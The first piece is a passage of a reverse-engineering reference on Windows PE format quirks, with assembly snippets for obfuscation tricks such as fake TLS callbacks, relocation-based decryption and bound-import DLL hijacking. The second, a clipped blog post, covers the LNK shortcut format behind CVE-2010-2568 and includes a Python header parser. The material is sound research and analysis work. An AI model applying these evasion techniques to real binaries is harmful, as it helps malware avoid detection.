        dd hndllexport - IMAGEBASE  
        dd 0  
    ...  
    dll.dll db 'dll.dll', 0
[/code]

  * under XP and later, a DLL can be called by his filename only \(no extension\). Extension is required under Win2K. 

  * `imports_noext.exe` imports DLLs without extensions. 

[code]

    kernel32.dll db 'kernel32', 0  
    msvcrt.dll db 'msvcrt', 0
[/code]

  * a DLL can be dynamically loaded via ANSI \(LoadLibraryA\) or UNICODE \(LoadLibraryW\). 
  * like in any filename, case of the DLL can be mixed 

  * `imports_mixed.exe` imports DLLs with mixed case names. 

[code]

    kernel32.dll db 'KernEl32', 0  
    msvcrt.dll db 'mSVCrT', 0
[/code]

  * the Import Name Table is not required and can be replaced with the Import Adress Table 

  * `imports_noint.exe` contains no INT, the import descriptor are linking twice to the IAT. 

[code]

    ...  
    Import_Descriptor:  
    kernel32.dll_DESCRIPTOR:  
        dd kernel32.dll_iat - IMAGEBASE  
        dd 0, 0  
        dd kernel32.dll - IMAGEBASE  
        dd kernel32.dll_iat - IMAGEBASE  
    ...
[/code]

  * imports are not necessary. either don't call any API \(ex, resource placeholders\), or locate Kernel32 and its exports by hand \(not covered here\) 
  * the terminator of imports descriptor only needs to have its Name offset null. the other values are not important. 
  * `imports_badterm` has a bad terminator, that looks almost like a valid one: 

[code]

    ...  
    ;disguised terminator - dll address is 0  
    dd msvcrt.dll_hintnames - IMAGEBASE  
    dd 0, 0  
    dd 0 ;msvcrt.dll - IMAGEBASE  
    dd msvcrt.dll_iat - IMAGEBASE  
    ...
[/code]

### resources

  * directory-like structure. 

[code]

    ...  
    at IMAGE_DATA_DIRECTORY_16.ResourceVA, dd Directory_Entry_Resource - IMAGEBASE  
    ...  
    push SOME_TYPE              ; lpType  
    push SOME_NAME              ; lpName  
    push 0                      ; hModule  
    call [__imp__FindResourceA]  
    ...  
    Directory_Entry_Resource:  
    ; root directory  
    istruc IMAGE_RESOURCE_DIRECTORY  
        at IMAGE_RESOURCE_DIRECTORY.NumberOfIdEntries, dw 1  
    iend  
    istruc IMAGE_RESOURCE_DIRECTORY_ENTRY  
        at IMAGE_RESOURCE_DIRECTORY_ENTRY.NameID, dd SOME_TYPE    ; .. resource type of that directory  
        at IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData, dd (1<<31) | (resource_directory_type - Directory_Entry_Resource)  
    iend  
      
    resource_directory_type:  
    istruc IMAGE_RESOURCE_DIRECTORY  
        at IMAGE_RESOURCE_DIRECTORY.NumberOfIdEntries, dw 1  
    iend  
    istruc IMAGE_RESOURCE_DIRECTORY_ENTRY  
        at IMAGE_RESOURCE_DIRECTORY_ENTRY.NameID, dd SOME_NAME ; name of the underneath resource  
        at IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData, dd (1<<31) | (resource_directory_language - Directory_Entry_Resource)  
    iend  
      
    resource_directory_language:  
    istruc IMAGE_RESOURCE_DIRECTORY  
        at IMAGE_RESOURCE_DIRECTORY.NumberOfIdEntries, dw 1  
    iend  
    istruc IMAGE_RESOURCE_DIRECTORY_ENTRY  
    at IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData, dd resource_entry - Directory_Entry_Resource  
    iend  
      
    resource_entry:  
    istruc IMAGE_RESOURCE_DATA_ENTRY  
        at IMAGE_RESOURCE_DATA_ENTRY.OffsetToData, dd resource_data - IMAGEBASE  
        at IMAGE_RESOURCE_DATA_ENTRY.Size1, dd RESOURCE_SIZE  
    iend  
      
    resource_data:  
    Msg db " * message stored in resources", 0ah, 0  
    RESOURCE_SIZE equ $ - resource_data
[/code]

  * in standard, 3 levels: `Root/Type/Name/Language` but anything else is possible. 

  * loops are possible 

  * `resourceloop.exe` contains several loops between resource directories 

[code]

    resource_directory_type:  
    ...  
        at IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData,  dd (1<<31) | (resource_directory_loop - Directory_Entry_Resource)  
    ...  
      
    resource_directory_loop:  
    ...  
    ; double level recursivity  
    ...  
        at IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData,  dd (1<<31) | (resource_directory_type - Directory_Entry_Resource)  
    ...  
    ; direct recursivity  
    ...  
        at IMAGE_RESOURCE_DIRECTORY_ENTRY.OffsetToData,  dd (1<<31) | (resource_directory_loop - Directory_Entry_Resource)
[/code]

  * Names and Types of a resource can be used: 

  * immediate integers \(aka IDs\) - like `resource.exe`

[code]

    SOME_TYPE equ 315h  
    SOME_NAME equ 7354h  
    ...  
    push SOME_TYPE              ; lpType  
    push SOME_NAME              ; lpName  
    push 0                      ; hModule  
    call [__imp__FindResourceA]  
    ...  
    at IMAGE_RESOURCE_DIRECTORY_ENTRY.NameID, dd SOME_TYPE    ; .. resource type of that directory  
    ...  
    at IMAGE_RESOURCE_DIRECTORY_ENTRY.NameID, dd SOME_NAME ; name of the underneath resource
[/code]

  * immediate integers \(aka IDs\) converted as string for loading - like `resource2.exe`

[code]

    push atype                  ; lpType  
    push ares                   ; lpName  
    push 0                      ; hModule  
    call [__imp__FindResourceA]  
    ...  
    atype db '#315', 0  
    ares db "#7354", 0  
    ...  
    SOME_TYPE equ 315  
    SOME_NAME equ 7354  
    ...  
    at IMAGE_RESOURCE_DIRECTORY_ENTRY.NameID, dd SOME_TYPE    ; .. resource type of that directory  
    ...  
    at IMAGE_RESOURCE_DIRECTORY_ENTRY.NameID, dd SOME_NAME ; name of the underneath resource  
    ...
[/code]

  * strings \(aka Names\). the Name in resource directory is with the format `length + widestring` \- like `namedresource.exe`

[code]

    push arestype               ; lpType  
    push aresname               ; lpName  
    push 0                      ; hModule  
    call [__imp__FindResourceA]  
    ...  
    aresname db 'RES', 0  
    arestype db 'TYPE', 0  
    ...  
        .NumberOfNamedEntries dw 0  
        .NumberOfIdEntries    dw 1  
        .ID dd (1 << 31) | (alrestype - resource_directory)    ; .. resource type of that directory  
    ...  
        .NumberOfNamedEntries dw 0  
        .NumberOfIdEntries    dw 1  
        .ID dd (1 << 31) | (alresname - resource_directory)  ; name of the underneath resource  
    ...  
    ; length + widestring  
    alresname dw 3, "R", "E", "S", 0  
    alrestype dw 4, "T", "Y", "P", "E", 0
[/code]

  * the resource structures are relative to the start of the Data Directory, but the resource data can be anywhere in the file \(RVA\) 

  * `reshdr.exe` has its resource data in the PE header 

[code]

    at IMAGE_DOS_HEADER.e_magic, db 'MZ'  
    at IMAGE_DOS_HEADER.e_lfanew, dd NT_Signature - IMAGEBASE  
    ...  
    resource_data:  
    Msg db " * resource stored in header and shuffled resource structure", 0ah, 0  
    RESOURCE_SIZE equ $ - resource_data
[/code]

  * resource strings have their own awkward format. 

##### exception

not covered here

##### security

not covered here

### relocations

  * relocations are used when the PE is loaded at a different ImageBase. Hardcoded Addresses such as `push <addr>` and `call [<addr>]` have to be adjusted. 
  * relocations size is compulsory to tell the loader when to stop. 

  * `dll.dll` contains simple relocations: 

[code]

        at IMAGE_DATA_DIRECTORY_16.FixupsVA,   dd Directory_Entry_Basereloc - IMAGEBASE  
        at IMAGE_DATA_DIRECTORY_16.FixupsSize, dd DIRECTORY_ENTRY_BASERELOC_SIZE  
    ...  
    reloc01:  
        push detach  
    reloc22:  
        call [__imp__printf]  
    ...  
    Directory_Entry_Basereloc:  
    block_start0:  
        .VirtualAddress dd reloc01 - IMAGEBASE  
        .SizeOfBlock dd BASE_RELOC_SIZE_OF_BLOCK0  
        dw (IMAGE_REL_BASED_HIGHLOW << 12) | (reloc01 + 1 - reloc01)  
        dw (IMAGE_REL_BASED_HIGHLOW << 12) | (reloc22 + 2 - reloc01)  
    BASE_RELOC_SIZE_OF_BLOCK0 equ $ - block_start0  
    ...  
    DIRECTORY_ENTRY_BASERELOC_SIZE  equ $ - Directory_Entry_Basereloc
[/code]

  * IMAGE\_REL\_BASED\_ABSOLUTE doesn't do anything, used for padding. 
  * IMAGE\_REL\_BASED\_HIGHLOW is the 'standard' relocation, for which `<real base> - ImageBase` will be added to the pointed address 
  * IMAGE\_REL\_BASED\_HIGH does the same but only the highest WORD of the delta is added. \(in short, same operation one WORD earlier\) 
  * IMAGE\_REL\_BASED\_LOW does the same but only the lowest WORD of the delta is added, which makes no change, as both bases are 10000h-aligned. 
  * Other sort of relocations such as Mips and 64 bits are still supported by Windows 7. 
  * forcing the binary to relocate to a known place \(ex, with a null or kernel ImageBase\) makes it possible for the relocations to have predictable behavior. Thus, they can be used to decrypt or clear some values in memory. Also, relocations may be used to modify themselves. 

  * `reloccrypt.exe` has a 0ffff0000h ImageBase, and its relocations are, first, modifying themselves, using uncommon relocation types, then decrypting the code to be executed. 

[code]

    EntryPoint:  
    reloc01:            ;68h push VDELTA + msg  
    crypt168 db 0  
        dd VDELTA + msg  
    ...  
    Directory_Entry_Basereloc:  
    ; this block will fix the SizeOfBlock of the next block  
    block_start:  
        .VirtualAddress dd VDELTA + relocated_reloc - IMAGEBASE  
        .SizeOfBlock dd BASE_RELOC_SIZE_OF_BLOCK  
        dw (IMAGE_REL_BASED_HIGHLOW << 12) ; + 10000h  
        dw (IMAGE_REL_BASED_ABSOLUTE << 12)  
        dw (IMAGE_REL_BASED_HIGHLOW << 12) ; + 10000h  
        dw (IMAGE_REL_BASED_HIGHADJ << 12)  
        dw (IMAGE_REL_BASED_HIGH    << 12) ; + 00001h  
        dw (IMAGE_REL_BASED_LOW     << 12) ; + 0  
        dw (IMAGE_REL_BASED_SECTION << 12)  
        dw (IMAGE_REL_BASED_REL32 << 12)  
    ...  
    ;this block is actually the genuine relocations  
    block_start0:  
        .VirtualAddress dd VDELTA + reloc01 - IMAGEBASE  
    relocated_reloc:  
        .SizeOfBlock dd BASE_RELOC_SIZE_OF_BLOCK0 - 40002h  
    ...  
    %macro cryptblock 2  
    block_start%1:  
        .VirtualAddress dd VDELTA + %1 - IMAGEBASE  
        .SizeOfBlock dd BASE_RELOC_SIZE_OF_BLOCK%1  
        dw (IMAGE_REL_BASED_ABSOLUTE << 12)  
        times %2 / 2 dw (IMAGE_REL_BASED_HIGH << 12)  
    BASE_RELOC_SIZE_OF_BLOCK%1 equ $ - block_start%1  
    %endmacro  
      
    ;these blocks are the ones to implement the decryption  
    cryptblock crypt168, 068h  
    ...
[/code]

### debug

  * under XP, the value of the Debug directory **SIZE** can't be random - even if the RVA is null \! 

  * thus, it's one of the rare data directory size that makes a difference. 

### description

  * Watcom compilers makes it point to a string. Useless whatsoever. 

##### MIPS

not covered here

### TLS

  * most values of TLS structures are not required: 

  * `tls.exe` executes TLS code with the following structure 

[code]

        at IMAGE_DATA_DIRECTORY_16.TLSVA,       dd Image_Tls_Directory32 - IMAGEBASE  
    ...  
    Image_Tls_Directory32:  
        StartAddressOfRawData dd 0  
        EndAddressOfRawData   dd 0  
        AddressOfIndex        dd some_value  
        AddressOfCallBacks    dd CallBacks  
        SizeOfZeroFill        dd 0  
        Characteristics       dd 0  
    ...  
    some_value dd 012345h  
      
    CallBacks:  
        dd tls  
        dd 0  
    ...  
    tls:  
       <...>
[/code]

  * The callbacks are VAs, not RVAs \(ImageBase **is** included\). 
  * each callback is executed until an error happens or a null dword is next in the list. then, no matter what happened \(error or not\) the EntryPoint is executed: 

  * a TLS doesn't need to return cleanly if it knows it's the last one 

  * CoST uses this technique 

  * an incorrect entry in the list doesn't trigger a visible error 

  * `tls_obfuscation.exe` has many fake TLS callback entries to disrupt disassembly 

  * like the entrypoint value, a callback VA is blindly called. It can be: 

  * outside the PE, in a known in advance address 
  * pointing an Import Address Table entry, which means an API will be called with ImageBase as parameter. 

  * `tls_import.exe` executes `mz.exe` via a call to WinExec through a TLS callback in its IAT. 

  * under XP, TLS are only executed with staticly loaded DLL, not dynamicly loaded ones. 
  * on XP, TLS are executed twice, on process start and process termination. Thus, code **is** executed even after a call to ExitProcess. 

> This is true even under Windows 7, however libraries such as user32.dll
> might be already unloaded, preventing code using it to work normally.
  * TLS callbacks are not executed if no DLL importing kernel32 is imported. Thus, no execution if kernel32 is the only import. 
  * TLS callbacks' list is updated at each callback execution. If a TLS or the EntryPoint code add or remove an entry, it will be taken into consideration 

  * `tls_onthefly`'s first TLS adds a second one on the list that will be executed directly after the first one is over 

[code]

    tls:  
    ...  
        mov dword [CallBacks + 4], tls2  
        retn  
    ...  
      
    tls2:  
    ...
[/code]

  * TLS AddressOfIndex is cleared on loading. Thus, it can be used to modify code execution. 

  * `tls_aoi` patches the operand of a looping jump by pointing AddressOfIndex to it. 

[code]

    AddressOfIndex equ $ + 1  
        jmp long $
[/code]

##### Load config

this is not explored yet.

### Bound imports

  * are a shortcut structure to hardcode some imports values in advance, to make import values faster 
  * all the loader does is take a filename, compare the timestamp of the file and the one included in the bound imports table, then use the VA directly as import if they match. 

  * `dllbound-ld.exe` loads and execute 'dllbound.dll' via bound imports. 

[code]

      at IMAGE_DATA_DIRECTORY_16.BoundImportsVA,   dd BoundImports - IMAGEBASE  
      ...  
      BoundImports:  
      dd 31415925h ; timestamp of the bound DLL  
      dw bounddll - BoundImports ; it's a WORD relative offset :(  
      dw 0  
      ...  
      bounddll db 'dllbound.dll', 0 ; we have to duplicate locally this string... :(  
      ...  
      dll.dll_iat:  
      __imp__export:  
         dd 01001008h ;VA of the export of the loaded DLL
[/code]

  * thus, replacing the RVA in the bound import table is an easy way to redirect imports. 

  * `dllbound-redirld.exe` will load the wrong import of `dllbound.dll` because one RVA has been changed. 

[code]

    dll.dll_iat:  
    __imp__export:  
       dd 01001018h ; corrupted VA of the import
[/code]

  * under XP only, it's even possible to put a different filename and timestamp. a completely different DLL will be used no matter what the standard import table says. 

  * `dllbound-redirldXP.exe` will load the wrong dll `dllbound2.dll`, as the name and timestamp have been modified. 

[code]

    BoundImports:  
    dd 27182818h ; timestamp of the hijacking DLL  
    dw bounddll - BoundImports  
    dw 0  
      
    ;terminator  
    dd 0, 0  
      
    bounddll db 'dllbound2.dll', 0 ; hijacking DLL name
[/code]

### Import table

  * the RVA **and** the Size required to be set on a low alignment PE to make the import table writeable, under XP. 

  * `nosectionXP.exe` needs an IAT to make its imports writeable 

### delay imports

  * is a rip-off, a fake structure. 
  * it's just trampoline added by the compiler to load imports and DLL on request, 

> with a 'frontend' in the data directories, with a structure similar to
> standard imports \(adress table + name table\) so that external tools can
> still indicate that imports calls are present.
  * `delayimports.exe` has working delay imports \(displayed by other tools\): 

[code]

    ...  
    at IMAGE_DATA_DIRECTORY_16.DelayImportsVA, dd delay_imports - IMAGEBASE  
    at IMAGE_DATA_DIRECTORY_16.DelayImportsSize, dd DELAY_IMPORTS_SIZE  
    ...  
    delay_imports:  
    istruc _IMAGE_DELAY_IMPORT_DESCRIPTOR  
        at _IMAGE_DELAY_IMPORT_DESCRIPTOR.rvaDLLName,   dd msvcrt.dll  
        at _IMAGE_DELAY_IMPORT_DESCRIPTOR.rvaIAT,       dd delay_iat - IMAGEBASE  
        at _IMAGE_DELAY_IMPORT_DESCRIPTOR.rvaINT,       dd msvcrt_int  
    iend  
    istruc _IMAGE_DELAY_IMPORT_DESCRIPTOR  
    iend  
      
    delay_iat:  
    __imp__printf:  
        dd __delay__printf  
        dd 0
[/code]

  * the information in the header is not required to make delay import works, are they are extra code added **in** the file by the compiler. 

  * Erasing the data directory VA from a standard file with delay imports will not disturb its execution 
  * `delaycorrupt.exe` has the same structure as `delayimports.exe`, but the descriptors are empty. 

[code]

    ...  
    delay_imports:  
    istruc _IMAGE_DELAY_IMPORT_DESCRIPTOR  
    iend  
    ...
[/code]

##### COM Runtime

this is not explored yet.

###### reserved

  * used by packers and malware as markers 

## section table

##### Name

  * no importance whatsoever 

### Misc\_VirtualSize

  * `bigsec` has a section with a virtual size of 0x10001000. 
  * later, check samples ;\) 

### VirtualAddress

  * later, check samples ;\) 

### SizeOfRawData

  * with standard alignments, sections can be physically empty. 

### PointerToRawData

  * later, check samples ;\) 

#####
PointerToRelocations/PointerToLinenumbers/NumberOfRelocations/NumberOfLinenumbers

  * no importance whatsoever 

### Characteristics

  * later, check samples ;\) 

* * *
# specific cases

## folded header

  * found out by Reversing Labs as 'Dual PE Header' 
  * the first checks of the PE are done on file. then the file is loaded in memory. then imports are resolved, from the image in memory. 
  * by extending the header until the first SectionAlignment, it's possible to have the first section overlapping the header partially. 

> thus, the actual data directories used for imports resolving will not be the
> contiguous ones on the disk.
[code]

     
[/code]

[code]

    ...  
     section progbits vstart=IMAGEBASE + SECTIONALIGN align=FILEALIGN  
      
    ;---------------------------------------------- CUT and FOLD here ----------------------------------  
      
    ; ok here we're at RVA 1000h (start of 1st section),  
    ; so this data will overwrite the PE headers originally loaded from offset F80h, physically further in the file.  
      
    dd Import_Descriptor - IMAGEBASE, 0  
    ...  
    times 0f80h - FILEALIGN * 2 db 0 ; to make the header overlap on address offset/rva 1000h  
      
    NT_Signature:  
    istruc IMAGE_NT_HEADERS  
        at IMAGE_NT_HEADERS.Signature, db 'PE', 0, 0  
    iend  
    ...  
    istruc IMAGE_DATA_DIRECTORY_16  
    dd 88660001h,010009988h  
    ;---------------------------------------------- CUT and FOLD here ----------------------------------  
    ; we cut the header here, and we're right at offset 1000h  
    ;---------------------------------------------- CUT and FOLD here ----------------------------------  
      
    dd 86600010h,001000998h  
    dd 66000100h,000100099h  
    dd 6000100Fh,0F0010009h  
    ...
[/code]

## PE + PDF

  * PDF can have their start signature up to offset 0x400. 
  * using this, `pdf.exe` is an both a working PE and a working PDF. 

> If you run it, it will copy itself as a PDF and opens it
[code]

>     ...  
>     > call [__imp__CopyFile]  
>     > ...  
>     > call [__imp__ShellExecute]  
>     > ...  
>     > incbin 'helloworld-X.pdf'  
>     > ...
[/code]

## quine

  * a quine is a file that prints its own source. 
  * by putting the PE header further in the file and only using printable characters in between, 

> `quine.exe` has its own source directly accessible via the _type_ command.
> after the source, an EOF character is inserted.
[code]

>     db 'MZ'  
>     > align 3bh, db 0dh  
>     > dd nt_header - IMAGEBASE  
>     >     db 0dh  
>     >  
>     > incbin 'quine.asm'  
>     > db 1ah
[/code]

  * when executed, quine will open a command window to type itself. 

[code]

    op db "open", 0  
    fn db "cmd", 0  
    param db "/K type quine.exe", 0  
    ...  
    EntryPoint:  
        push 1  
        push 0  
        push param  
        push fn  
        push op  
        push 0  
        call [ShellExecuteA]
[/code]

## tls\_aoiOSDET

  * the address pointed by TLS.AddressOfIndex is cleared on loading. 
  * if IMAGE\_IMPORT\_DESCRIPTOR.Name is null, this import descriptor is considered a terminator \(imports are no further parsed\). 

  * under XP, it's cleared after imports are parsed, thus the imports are completely loaded. 
  * under W7, it's cleared before, so the descriptor is considered as a terminator, so imports are no further parsed. 

so, depending on the OS that is running, `tls_aoiOSDET` behaves differently by
checking its own imports

[code]

    ...  
    mov eax, [__imp__MessageBoxA]  
    cmp eax, hnMessageBoxA - IMAGEBASE  
    jz W7  
      
    ...  
    ;user32.dll_DESCRIPTOR:  
        dd user32.dll_hintnames - IMAGEBASE  
        dd 0, 0  
    AddressOfIndex:  
        dd user32.dll - IMAGEBASE  
        dd user32.dll_iat - IMAGEBASE  
    ...
[/code]

### manyimportsW7

  * this W7-only binary use the TLS \!AoI trick to clean its imports. On disk, the import table is full of bogus descriptors, which will be ignored on loading 

[code]

    Image_Tls_Directory32:  
    ...  
    AddressOfIndex        dd zero_here_plz  
    ...  
    zero_here_plz:  
    %rep 40000h  
    dd fake_imports - IMAGEBASE + i * 4  
    ...
[/code]

* * *
# acknowledgements

  * Peter Ferrie 

  * Costin Ionescu 
  * Ivanlef0u 
  * Kris Kaspersky 
  * Moritz Kroll 

# Other resources

  * Undocumented PE/COFF

# Evilcodecave: Quick overview of Lnk File Format and Ways of Information
Extraction

**Created:**| _11/13/2010 3:57:36 PM_  
---|---  
**Updated:**| _11/13/2010 3:57:56 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security Exploit reversing Malware-analysis
awesome_  
  

### Quick overview of Lnk File Format and Ways of Information Extraction

Hi,  
  
Long time no posting, due to severe busy issues.  
  
In this post we will meet the famous **.lnk** file, that in the last period
registered an high attention from Security Industry cause a vulnerability
exploited by a **rootkit**.  
  
  

"Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and
SP2, Server 2008 SP2 and R2, and Windows 7 allows local users or remote
attackers to execute arbitrary code via a crafted \(1\) .LNK or \(2\) .PIF
shortcut file, which is not properly handled during icon display in Windows
Explorer, as demonstrated in the wild in July 2010, and originally reported
for malware that leverages CVE-2010-2772 in Siemens WinCC SCADA systems."

  

The exploit uses a specially crafted LNK file. This file allows the attacker
to execute an arbitrary file by carefully specifying its location – the LNK
file in itself does not exploit any vulnerability such as buffer overflows,
for example, so it is a legitimate LNK file. **The LNK file used in targeted
attacks was manually crafted as some fields that are normally present, such as
CreationTime, AccessTime or WriteTime are all set to 0**.

  

Should be clear that the basical spread vector is the malicious **\*.lnk**
file, what should be heavy market is that at the actual state of art, no
autorun.inf is necessary, so we have to expect a new wave of infected USB Pen
Drives.

  
  
Around here there are tons of post about SCADA Infection, so I no longer
repeat the same things, very well discussed in other articles, due that I'm
basically a reverser, in this post I'm going to give some fast and quick note
on the Structure of Lnk File Format.  
  
lnk vulnerability is listed as **CVE-2010-2568**  
  
Lnk and Pif files are used for shortcutting, so executing on a Lnk or Pif file
has the same result as executing directly the file specified by the shortcut
the file that is specified on the shortcut target. The vulnerability involved
in Lnk essentially executes a malicious Dll in the same context of Windows
Control File.  
  
Lnk and Pif are by design a **Binary Based File Format** , also called **Shell
Link**. This file as previously exposed is used to store a **link target
namespace** referred to a **link target**. As we will see in the prosecution
of the post, lnk does not merely store only a link, but encapsulates a variety
of informations, like:  

  * **Keyboard Shortcut that can be used to callback the link**
  * **Application Behavior**
  * **Extended Comment**
  * **Extra Data Section, that offers possibility to add Optional Data**

Essentially lnk Bynary File Format inherits various characteristics from the
two major file formats:

  * **CFB - Compound File Format \(used by MS-Office Files\)**
  * **PROPOSTORE - Property Store Binary File Format**

We can manipulate this file format via COM Objects, in this case the two major
interfaces are:

  * **IShellLink**
  * **IPersistStream**
  * **IPersistFile**

Like in every File Format Reverse Engineering task, one of the best approach
is to perform analysis by acting like a parser that works into two levels of
abstraction, that I usually call:

  * **TopLevel Parser**
  * **DownLevel Parser**

**TopLevel Parser** is a shot of higher hierarchies, that keep track of lower
hierarchy structures. Here a shot of higher structures:  

<img src='img/Temp2_2789.png' />

  

**ShellLinkHeader** is placed at the beginning of .lnk file and provides the
following informations:

  * **Header Size**
  * **CLSID**
  * **LinkFlags**
  * **File Attributes**
  * **Creation Time**
  * **Last Access Time**
  * **Modification Time**
  * **Target Size**
  * **Icon Index**
  * **Show Command**
  * **Hotkey**
  * **Reserved1, Reserved2, Reserved3**

Header Size field is 4 bytes long and must be **0x4C** => **76**

CLSID is **00021401-0000-0000-c000-000000000046**  
ShowCommand easily specifies how the Window is displayed **Normal, Minimized,
Maximized**.  
Hotkey is easly to understand, specifies the Hotkey that can be used to call
the lnk  
  
One of the most interesting field is **LinkFlags** , that specifies what link
structures are present into the shortcut file, here the two possible values:  

  * **HasLinkTargetIDList - > value 'A'**
  * **HasLinkInfo - > value 'B'**
  * **HasName**
  * **HasRelativePath**
  * **HasWorkingDir**
  * **HasArguments**
  * **HasIconLocation**
  * **IsUnicode**
  * **ForceNoLinkInfo**
  * **HasExpString**
  * **RunInSeparateProcess**
  * **Unused**
  * **HasDarwinId**
  * **RunAsUser**
  * **etc.**

One of the most important Flag is HasLinkTargetIDList that declares the
presence of another important structure, LinkTargetIDList.

  

**LinkTargetIDList** is divided into two fields:

  * **IDListSize**
  * **IDList**

IDList specifies a list of **ItemIDs** , each ItemID contains the **Effective
Data**. An ItemID is composed by two fields:

  * **ItemIDSize**
  * **Data Block**

IDList and associated ItemIDs are Object Identifiers necessary to locate and
identify all Shell Objects, like:  

  * **Files**
  * **Directories**
  * **Servers**
  * **Workgroups**
  * **etc**

Technically these Identifiers are represented by **SHITEMID** structure
declared in **Shtypes.h**  
  
**typedef struct \_SHITEMID \{**  
**USHORT cb;**  
**BYTE abID\[1\];**  
**\} SHITEMID;**  
  
ItemID can be processed by using the interface **IShellFolder** or
**IShellLink::GetIDList\(\)** method.  
  
The second important flag is HasLinkInfo, because declares the presence of
**LinkInfo** structure. This structure specifies informations necessary to
resolve the link target if is not found in its original location. Here the
fields:

  * **LinkInfoSize**
  * **LinkInfoHeaderSize**
  * **LinkInfoFlags**
  * **VolumeIDOffset**
  * **LocalBasePathOffset**
  * **CommonNetworkRelativeOffset**
  * **CommonNetworkRelativeLinkOffset**
  * **CommonPathSuffixOffset**
  * **LocalBasePathOffsetUnicode**
  * **CommonPathSuffixOffsetUnicode**

  
Between the various fields one of the most interesting is the **VolumeID** ,
that specifies informations about the volume that a link target was on when
link target was created.  
  

The Third important structure is **StringData** that refers to a set of
structures that contain path identification informations.  
  
**String Data = NameString - RelativePath - WorkingDir - CmdLineArguments -
IconLocation**

  
The last important structure, **ExtraData** that is appended at the end of lnk
file, contains extra informations stored as **Augmented Backus-Naur** Form
\(**ABNF** -> **rfc 5234**\)  
  
At this point we have a complete view of Shell Link binary structure, we can
now how this file is used and how to manage it.  
  
When an user executes a lnk file, Windows is going to perform a **Link
Resolution** , essentially by using **IShellLink::Resolve\(\)** method that
attempts to find the target specified by the Shell Link, this operation is
accomplished by using a pointer to the already seen structure **IDList**. When
resolution fails system calls another service, called **DLT** \( **Distributed
Link Tracking and Object Identifiers** \).  
  
Should be clear that at this point lnk information carving could be performed
at two level of abstraction:  
  

  * **Via COM Interfaces**
  * **Raw Parsing by Mapping lnk file**

Via COM Interfaces can be used the methods listed here

  

**http://msdn.microsoft.com/en-us/library/bb774950%28v=VS.85%29.aspx**

  

**IShellLink** gives informations about Arguments, IDLists, Path and Working
Directory.

**IShellFolder** gives some more detailed information on Objects and offers
methods for Object Enumeration.

  

**http://msdn.microsoft.com/en-us/library/bb775075%28VS.85%29.aspx**

  

But as you can see something is missing, I'm talking about header
informations, let's see how appears from an hex dump:

  

  

<img src='img/Temp2_2790.png' width='640' height='452' />

  

In evidence the Header 4C bytes long, that obviously ends at offset 4C.
HeaderSize is 4 bytes long, immediately after we have the 16 bytes long CLSID.

  

**LinkFlags** is immediately after CLSID, so 4bytes + 16 bytes = 20 bytes ->
**0x14 is the offset of LinkFlags** that's 4bytes long.

  

**FileAttributes** -> 4bytes long and starts **@offset 0x18**

  

Now we have the three file time fields stored as FILETIME Struct

  

**CreationTime- >** 8bytes long **@offset 0x1C**

**AccessTime- >** 8bytes long **@offset 0x24**

**ModificationTime- >** 8bytes long **@offset 0x2C**

  

<img src='img/Temp2_2788.png' width='640' height='454' />

  

Now is trivial to build a python script, that show lnk characteristics; thanks
to **libforensics** things are really easy, because there is a module that
deals directly with Shell Link Binary Format, I'm talking about:

  

**lf.win.shell.link** module, here a quick sample that I've coded on fly, this
script show header informations that are not given by COM Interfaces:

  

+--------------------------------------------------------------------------+

**\# Raw LNK Parser based on LibForensics library**

**  
**

**from optparse import OptionParser**

**from datetime import datetime**

**  
**

**from lf.dec import RawIStream, ByteIStream**

**from lf.win.shell.link import ShellLink**

**  
**

**def main\(\):**

**usage = "%prog lnkFileName"**

**description = "Displays Header Informations of an Lnk Binary File \n"**

**  
**

**parser = OptionParser\(usage = usage, description = description,**

**version = "0.1"\)**

**  
**

**\(options, args\) = parser.parse\_args\(\)**

**  
**

**if len\(args\) < 1:**

**print\( "You must specify a \*.lnk file \n"\)**

**else:**

**lnk = ShellLink\(RawIStream\(args\[0\]\)\)**

**  
**

**print\( "Header Informations on: ",args\[0\], "\n"\)**

**  
**

**header = lnk.header**

****

**ctime = format\_timestamp\(header.btime\)**

**atime = format\_timestamp\(header.atime\)**

**mtime = format\_timestamp\(header.mtime\)**

**  
**

**print\( "Header Size: ", header.size, "\n"\)**

**print\( "CLSID: ", header.clsid, "\n"\)**

**print\( "CreationTime: ", ctime, "\n"\)**

**print\( "AccessTime: ", atime, "\n"\)**

**print\( "ModificationTime: ", mtime, "\n"\)**

**print\( "Target Size:", header.target\_size, "\n"\)**

**print\( "Icon Index: ", header.icon\_index, "\n"\)**

**  
**

**def format\_timestamp\(timestamp\):**

**if isinstance\(timestamp, datetime\):**

**new\_timestamp = timestamp.isoformat\( " "\)**

**else:**

**new\_timestamp = timestamp**

**\# end if**

**  
**

**return new\_timestamp**

**  
**

**if \_\_name\_\_ == "\_\_main\_\_":**

**main\(\)**

+--------------------------------------------------------------------------+

  

Let's now observe the hex dump structure of LinkTargetIDList:

  

<img src='img/Temp2_2791.png' width='640' height='426' />

  

The Structure is clear we have the **IDList** size that specifies the whole
size and successively it's specified an **ItemIDSize** and immediately
attached the Data, and after the next **\[ItemIDSize\]\[Data\]**

  

**IDList** can be processed and enumerated by using again LibForensics by
using ShellLink's **idlist**.

**LinkInfo** can be examined by using **link\_info**

**StringData** can be examined by using **string\_data**

**ExtraData** can be examined by using **extra\_data**

  

Here the complete informations of the malicious lnk, obtained with linkinfo.py

  

+---------------------------------------------------------------------+

Command Line : test.lnk

File: test.lnk

  

Shell Link Header

=================

Header size: 76

CLSID: 00021401-0000-0000-c000-000000000046

**Creation time: 1601-01-01 00:00:00**

**Access time: 1601-01-01 00:00:00**

**Modification time: 1601-01-01 00:00:00**

Target size: 0

Icon index: 0

Show command: SW\_SHOWNORMAL \(0x1\)

Hotkey: 0:0

  

Link Flags:

\-----------

Has link target idlist: True

**Has link info: False**

Has name: False

Has relative path: False

Has working directory: False

Has arguments: False

Has icon location: False

Is unicode: True

Force no link info: False

Has exp. string: False

Run in separate process: False

Has logo3 id: False

Has darwin id: False

Run as user: False

Has exp. icon: False

No pidl alias: False

Force UNC name: False

Run with shim layer: False

Force no link track: False

Enable target metadata: False

Disable link path tracking: False

Disable known folder tracking: False

Disable known folder alias: False

Allow link to link: False

Prefer environment path: False

Keep local idlist for UNC target: False

  

